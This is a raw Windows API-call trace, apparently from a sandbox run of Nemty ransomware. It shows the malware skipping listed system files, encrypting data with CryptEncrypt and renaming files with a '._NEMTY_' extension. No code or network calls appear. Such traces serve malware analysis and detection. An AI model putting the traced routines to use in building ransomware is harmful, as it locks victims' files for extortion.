WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.084] CloseHandle (hObject=0xffffffff) returned 0 [0052.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0052.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94370 [0052.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x63401c0 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.085] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax._nemty_kgobjgd_")) returned 0 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.085] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2=".") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="..") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="...") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="windows") returned -1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="$RECYCLE.BIN") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="rsa") returned -1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="NTDETECT.COM") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="ntldr") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="MSDOS.SYS") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="IO.SYS") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="boot.ini") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="boot.ini") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="AUTOEXEC.BAT") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="ntuser.dat") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="desktop.ini") returned 1 [0052.085] lstrcmpiW (lpString1="offset.ax", lpString2="CONFIG.SYS") returned 1 [0052.086] lstrcmpiW (lpString1="offset.ax", lpString2="RECYCLER") returned -1 [0052.086] lstrcmpiW (lpString1="offset.ax", lpString2="BOOTSECT.BAK") returned 1 [0052.086] lstrcmpiW (lpString1="offset.ax", lpString2="bootmgr") returned 1 [0052.086] lstrcmpiW (lpString1="offset.ax", lpString2="programdata") returned -1 [0052.086] lstrcmpiW (lpString1="offset.ax", lpString2="appdata") returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="offset.ax", lpUsedDefaultChar=0x0) returned 9 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="offset.ax", lpUsedDefaultChar=0x0) returned 9 [0052.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="offset.ax", lpUsedDefaultChar=0x0) returned 9 [0052.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="offset.ax", lpUsedDefaultChar=0x0) returned 9 [0052.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0052.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.086] Sleep (dwMilliseconds=0x5) [0052.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2b3b530, dwHighDateTime=0x1d561e7)) [0052.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2b3b530, dwHighDateTime=0x1d561e7)) [0052.102] GetLastError () returned 0x5 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.102] GetLastError () returned 0x5 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0052.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0052.102] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0052.102] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="RdgqJONxvg+E4ROe04neUZJdzoWC/ieY+FvHkzxkmRaUabW7nk7KxPzG9031ha8m\r\nSzTbypoK96ttr/neZQUgT81Y3mylWgnr09GFFd6XAK4fU7v/rj+6y2wtiFqTF9jL\r\nh0hZotCklv+NPkJKMxoSFzRiKHGNVVct6HLY5EItd29kpPkkksTfdKN3gXLkjOja\r\nMw3G8HSw0m/abX0tPQnZC+nNn3U8LDDV5kpuJQlWNarjjKHhL4AhxeyUVddZW1uv\r\nCXmIsYjQ2GZE1ycN5RaCwB4TgUqwWztrv3Hif6cC65RV1cKBajwhSKqOjWWpl22G\r\n0vOW34sTJfazakbYNd/SUQ==\r\n", pcchString=0x653f2dc) returned 1 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0052.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0052.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.103] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0052.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, 